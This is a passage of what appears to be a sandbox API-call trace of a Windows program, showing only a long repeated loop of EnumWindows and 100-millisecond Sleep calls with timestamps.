EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.763] Sleep (dwMilliseconds=0x64) [0244.765] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.765] Sleep (dwMilliseconds=0x64) [0244.767] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.767] Sleep (dwMilliseconds=0x64) [0244.769] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.770] Sleep (dwMilliseconds=0x64) [0244.772] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.772] Sleep (dwMilliseconds=0x64) [0244.774] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.775] Sleep (dwMilliseconds=0x64) [0244.776] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.777] Sleep (dwMilliseconds=0x64) [0244.778] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.778] Sleep (dwMilliseconds=0x64) [0244.779] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.779] Sleep (dwMilliseconds=0x64) [0244.781] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.781] Sleep (dwMilliseconds=0x64) [0244.783] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.783] Sleep (dwMilliseconds=0x64) [0244.785] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.785] Sleep (dwMilliseconds=0x64) [0244.787] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.787] Sleep (dwMilliseconds=0x64) [0244.789] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.789] Sleep (dwMilliseconds=0x64) [0244.791] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.791] Sleep (dwMilliseconds=0x64) [0244.793] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.793] Sleep (dwMilliseconds=0x64) [0244.794] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.795] Sleep (dwMilliseconds=0x64) [0244.797] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.797] Sleep (dwMilliseconds=0x64) [0244.798] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.799] Sleep (dwMilliseconds=0x64) [0244.801] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.801] Sleep (dwMilliseconds=0x64) [0244.802] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.802] Sleep (dwMilliseconds=0x64) [0244.805] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.805] Sleep (dwMilliseconds=0x64) [0244.806] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.807] Sleep (dwMilliseconds=0x64) [0244.808] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.808] Sleep (dwMilliseconds=0x64) [0244.809] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.810] Sleep (dwMilliseconds=0x64) [0244.811] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.811] Sleep (dwMilliseconds=0x64) [0244.814] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.814] Sleep (dwMilliseconds=0x64) [0244.815] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.816] Sleep (dwMilliseconds=0x64) [0244.819] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.823] Sleep (dwMilliseconds=0x64) [0244.825] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.825] Sleep (dwMilliseconds=0x64) [0244.827] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.827] Sleep (dwMilliseconds=0x64) [0244.831] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.831] Sleep (dwMilliseconds=0x64) [0244.832] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.832] Sleep (dwMilliseconds=0x64) [0244.834] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.834] Sleep (dwMilliseconds=0x64) [0244.836] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.837] Sleep (dwMilliseconds=0x64) [0244.839] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.839] Sleep (dwMilliseconds=0x64) [0244.840] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.841] Sleep (dwMilliseconds=0x64) [0244.845] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.845] Sleep (dwMilliseconds=0x64) [0244.847] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.848] Sleep (dwMilliseconds=0x64) [0244.853] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.858] Sleep (dwMilliseconds=0x64) [0244.859] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.860] Sleep (dwMilliseconds=0x64) [0244.872] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.874] Sleep (dwMilliseconds=0x64) [0244.878] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.882] Sleep (dwMilliseconds=0x64) [0244.883] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.884] Sleep (dwMilliseconds=0x64) [0244.888] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.888] Sleep (dwMilliseconds=0x64) [0244.897] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.898] Sleep (dwMilliseconds=0x64) [0244.902] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.905] Sleep (dwMilliseconds=0x64) [0244.908] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.910] Sleep (dwMilliseconds=0x64) [0244.917] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.917] Sleep (dwMilliseconds=0x64) [0244.921] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.922] Sleep (dwMilliseconds=0x64) [0244.924] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.928] Sleep (dwMilliseconds=0x64) [0244.932] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.932] Sleep (dwMilliseconds=0x64) [0244.936] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.938] Sleep (dwMilliseconds=0x64) [0244.940] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.940] Sleep (dwMilliseconds=0x64) [0244.942] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.943] Sleep (dwMilliseconds=0x64) [0244.946] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.946] Sleep (dwMilliseconds=0x64) [0244.948] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.948] Sleep (dwMilliseconds=0x64) [0244.951] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.953] Sleep (dwMilliseconds=0x64) [0244.955] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.955] Sleep (dwMilliseconds=0x64) [0244.957] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.957] Sleep (dwMilliseconds=0x64) [0244.961] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0244.961] Sleep (dwMilliseconds=0x64) [0244.964] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.032] Sleep (dwMilliseconds=0x64) [0245.039] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.039] Sleep (dwMilliseconds=0x64) [0245.041] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.041] Sleep (dwMilliseconds=0x64) [0245.043] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.044] Sleep (dwMilliseconds=0x64) [0245.047] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.047] Sleep (dwMilliseconds=0x64) [0245.049] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.049] Sleep (dwMilliseconds=0x64) [0245.051] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.051] Sleep (dwMilliseconds=0x64) [0245.053] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.054] Sleep (dwMilliseconds=0x64) [0245.061] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.062] Sleep (dwMilliseconds=0x64) [0245.173] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.174] Sleep (dwMilliseconds=0x64) [0245.175] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.176] Sleep (dwMilliseconds=0x64) [0245.177] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.177] Sleep (dwMilliseconds=0x64) [0245.179] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.179] Sleep (dwMilliseconds=0x64) [0245.181] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.181] Sleep (dwMilliseconds=0x64) [0245.183] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.183] Sleep (dwMilliseconds=0x64) [0245.184] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.185] Sleep (dwMilliseconds=0x64) [0245.186] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.186] Sleep (dwMilliseconds=0x64) [0245.187] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.188] Sleep (dwMilliseconds=0x64) [0245.189] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.189] Sleep (dwMilliseconds=0x64) [0245.192] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.193] Sleep (dwMilliseconds=0x64) [0245.194] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.194] Sleep (dwMilliseconds=0x64) [0245.195] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.196] Sleep (dwMilliseconds=0x64) [0245.197] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.197] Sleep (dwMilliseconds=0x64) [0245.198] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.199] Sleep (dwMilliseconds=0x64) [0245.200] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.200] Sleep (dwMilliseconds=0x64) [0245.202] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.202] Sleep (dwMilliseconds=0x64) [0245.204] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.204] Sleep (dwMilliseconds=0x64) [0245.206] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.206] Sleep (dwMilliseconds=0x64) [0245.207] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.208] Sleep (dwMilliseconds=0x64) [0245.209] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.209] Sleep (dwMilliseconds=0x64) [0245.210] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.211] Sleep (dwMilliseconds=0x64) [0245.212] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.212] Sleep (dwMilliseconds=0x64) [0245.213] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.214] Sleep (dwMilliseconds=0x64) [0245.215] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.215] Sleep (dwMilliseconds=0x64) [0245.216] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.217] Sleep (dwMilliseconds=0x64) [0245.218] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.219] Sleep (dwMilliseconds=0x64) [0245.338] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.338] Sleep (dwMilliseconds=0x64) [0245.340] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.340] Sleep (dwMilliseconds=0x64) [0245.342] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.342] Sleep (dwMilliseconds=0x64) [0245.344] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.345] Sleep (dwMilliseconds=0x64) [0245.346] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.347] Sleep (dwMilliseconds=0x64) [0245.348] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.348] Sleep (dwMilliseconds=0x64) [0245.355] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.355] Sleep (dwMilliseconds=0x64) [0245.357] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.357] Sleep (dwMilliseconds=0x64) [0245.359] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.359] Sleep (dwMilliseconds=0x64) [0245.361] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.361] Sleep (dwMilliseconds=0x64) [0245.363] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.364] Sleep (dwMilliseconds=0x64) [0245.366] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.366] Sleep (dwMilliseconds=0x64) [0245.392] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.393] Sleep (dwMilliseconds=0x64) [0245.477] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.478] Sleep (dwMilliseconds=0x64) [0245.481] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.481] Sleep (dwMilliseconds=0x64) [0245.483] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.483] Sleep (dwMilliseconds=0x64) [0245.485] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.485] Sleep (dwMilliseconds=0x64) [0245.486] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.486] Sleep (dwMilliseconds=0x64) [0245.646] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.646] Sleep (dwMilliseconds=0x64) [0245.759] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.760] Sleep (dwMilliseconds=0x64) [0245.761] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.762] Sleep (dwMilliseconds=0x64) [0245.771] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.772] Sleep (dwMilliseconds=0x64) [0245.780] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.781] Sleep (dwMilliseconds=0x64) [0245.790] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.790] Sleep (dwMilliseconds=0x64) [0245.923] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.924] Sleep (dwMilliseconds=0x64) [0245.939] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.939] Sleep (dwMilliseconds=0x64) [0245.948] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.948] Sleep (dwMilliseconds=0x64) [0245.950] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.950] Sleep (dwMilliseconds=0x64) [0245.960] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.961] Sleep (dwMilliseconds=0x64) [0245.963] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.963] Sleep (dwMilliseconds=0x64) [0245.976] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.977] Sleep (dwMilliseconds=0x64) [0245.986] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0245.986] Sleep (dwMilliseconds=0x64) [0246.094] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.095] Sleep (dwMilliseconds=0x64) [0246.104] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.104] Sleep (dwMilliseconds=0x64) [0246.120] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.120] Sleep (dwMilliseconds=0x64) [0246.122] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.122] Sleep (dwMilliseconds=0x64) [0246.123] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.124] Sleep (dwMilliseconds=0x64) [0246.237] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.237] Sleep (dwMilliseconds=0x64) [0246.239] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.240] Sleep (dwMilliseconds=0x64) [0246.241] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.241] Sleep (dwMilliseconds=0x64) [0246.243] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.243] Sleep (dwMilliseconds=0x64) [0246.245] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.246] Sleep (dwMilliseconds=0x64) [0246.247] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.247] Sleep (dwMilliseconds=0x64) [0246.249] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.249] Sleep (dwMilliseconds=0x64) [0246.251] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.252] Sleep (dwMilliseconds=0x64) [0246.253] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.253] Sleep (dwMilliseconds=0x64) [0246.255] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.255] Sleep (dwMilliseconds=0x64) [0246.258] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.258] Sleep (dwMilliseconds=0x64) [0246.260] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.260] Sleep (dwMilliseconds=0x64) [0246.261] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.261] Sleep (dwMilliseconds=0x64) [0246.263] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.263] Sleep (dwMilliseconds=0x64) [0246.264] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.264] Sleep (dwMilliseconds=0x64) [0246.266] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.266] Sleep (dwMilliseconds=0x64) [0246.385] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.385] Sleep (dwMilliseconds=0x64) [0246.386] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.387] Sleep (dwMilliseconds=0x64) [0246.388] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.388] Sleep (dwMilliseconds=0x64) [0246.389] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.390] Sleep (dwMilliseconds=0x64) [0246.391] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.391] Sleep (dwMilliseconds=0x64) [0246.392] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.393] Sleep (dwMilliseconds=0x64) [0246.398] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.398] Sleep (dwMilliseconds=0x64) [0246.400] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.400] Sleep (dwMilliseconds=0x64) [0246.401] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.402] Sleep (dwMilliseconds=0x64) [0246.403] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.403] Sleep (dwMilliseconds=0x64) [0246.404] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.405] Sleep (dwMilliseconds=0x64) [0246.406] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.406] Sleep (dwMilliseconds=0x64) [0246.408] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.408] Sleep (dwMilliseconds=0x64) [0246.410] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.410] Sleep (dwMilliseconds=0x64) [0246.411] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.412] Sleep (dwMilliseconds=0x64) [0246.413] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.413] Sleep (dwMilliseconds=0x64) [0246.415] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.415] Sleep (dwMilliseconds=0x64) [0246.416] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.417] Sleep (dwMilliseconds=0x64) [0246.418] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.419] Sleep (dwMilliseconds=0x64) [0246.420] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.420] Sleep (dwMilliseconds=0x64) [0246.421] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.422] Sleep (dwMilliseconds=0x64) [0246.423] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.424] Sleep (dwMilliseconds=0x64) [0246.426] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.426] Sleep (dwMilliseconds=0x64) [0246.427] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.428] Sleep (dwMilliseconds=0x64) [0246.429] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.429] Sleep (dwMilliseconds=0x64) [0246.431] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.431] Sleep (dwMilliseconds=0x64) [0246.433] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.433] Sleep (dwMilliseconds=0x64) [0246.434] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.435] Sleep (dwMilliseconds=0x64) [0246.436] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.436] Sleep (dwMilliseconds=0x64) [0246.438] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.438] Sleep (dwMilliseconds=0x64) [0246.440] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.440] Sleep (dwMilliseconds=0x64) [0246.442] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.442] Sleep (dwMilliseconds=0x64) [0246.443] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.444] Sleep (dwMilliseconds=0x64) [0246.445] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.445] Sleep (dwMilliseconds=0x64) [0246.447] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.447] Sleep (dwMilliseconds=0x64) [0246.449] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.449] Sleep (dwMilliseconds=0x64) [0246.451] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.451] Sleep (dwMilliseconds=0x64) [0246.452] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.452] Sleep (dwMilliseconds=0x64) [0246.454] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.454] Sleep (dwMilliseconds=0x64) [0246.456] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.456] Sleep (dwMilliseconds=0x64) [0246.458] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.458] Sleep (dwMilliseconds=0x64) [0246.459] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.459] Sleep (dwMilliseconds=0x64) [0246.461] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.461] Sleep (dwMilliseconds=0x64) [0246.463] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.463] Sleep (dwMilliseconds=0x64) [0246.465] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.465] Sleep (dwMilliseconds=0x64) [0246.466] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.466] Sleep (dwMilliseconds=0x64) [0246.468] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.468] Sleep (dwMilliseconds=0x64) [0246.470] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.470] Sleep (dwMilliseconds=0x64) [0246.471] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.471] Sleep (dwMilliseconds=0x64) [0246.473] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.473] Sleep (dwMilliseconds=0x64) [0246.474] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.475] Sleep (dwMilliseconds=0x64) [0246.476] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.476] Sleep (dwMilliseconds=0x64) [0246.478] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.478] Sleep (dwMilliseconds=0x64) [0246.480] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.480] Sleep (dwMilliseconds=0x64) [0246.481] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.481] Sleep (dwMilliseconds=0x64) [0246.483] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.483] Sleep (dwMilliseconds=0x64) [0246.485] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.485] Sleep (dwMilliseconds=0x64) [0246.487] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.487] Sleep (dwMilliseconds=0x64) [0246.488] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.488] Sleep (dwMilliseconds=0x64) [0246.490] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.490] Sleep (dwMilliseconds=0x64) [0246.492] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.492] Sleep (dwMilliseconds=0x64) [0246.493] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.493] Sleep (dwMilliseconds=0x64) [0246.495] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.495] Sleep (dwMilliseconds=0x64) [0246.497] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.497] Sleep (dwMilliseconds=0x64) [0246.499] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.499] Sleep (dwMilliseconds=0x64) [0246.501] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.501] Sleep (dwMilliseconds=0x64) [0246.503] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.503] Sleep (dwMilliseconds=0x64) [0246.504] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.504] Sleep (dwMilliseconds=0x64) [0246.506] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.506] Sleep (dwMilliseconds=0x64) [0246.508] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.508] Sleep (dwMilliseconds=0x64) [0246.510] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.510] Sleep (dwMilliseconds=0x64) [0246.512] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.512] Sleep (dwMilliseconds=0x64) [0246.513] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.514] Sleep (dwMilliseconds=0x64) [0246.515] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.515] Sleep (dwMilliseconds=0x64) [0246.517] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.517] Sleep (dwMilliseconds=0x64) [0246.518] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.518] Sleep (dwMilliseconds=0x64) [0246.520] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.520] Sleep (dwMilliseconds=0x64) [0246.521] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.522] Sleep (dwMilliseconds=0x64) [0246.523] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.523] Sleep (dwMilliseconds=0x64) [0246.525] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.526] Sleep (dwMilliseconds=0x64) [0246.527] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.527] Sleep (dwMilliseconds=0x64) [0246.529] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.529] Sleep (dwMilliseconds=0x64) [0246.530] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.531] Sleep (dwMilliseconds=0x64) [0246.532] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.532] Sleep (dwMilliseconds=0x64) [0246.534] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.534] Sleep (dwMilliseconds=0x64) [0246.535] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.536] Sleep (dwMilliseconds=0x64) [0246.537] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.537] Sleep (dwMilliseconds=0x64) [0246.540] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.540] Sleep (dwMilliseconds=0x64) [0246.542] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.542] Sleep (dwMilliseconds=0x64) [0246.543] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.544] Sleep (dwMilliseconds=0x64) [0246.546] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.546] Sleep (dwMilliseconds=0x64) [0246.547] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0246.547] Sleep (dwMilliseconds=0x64) 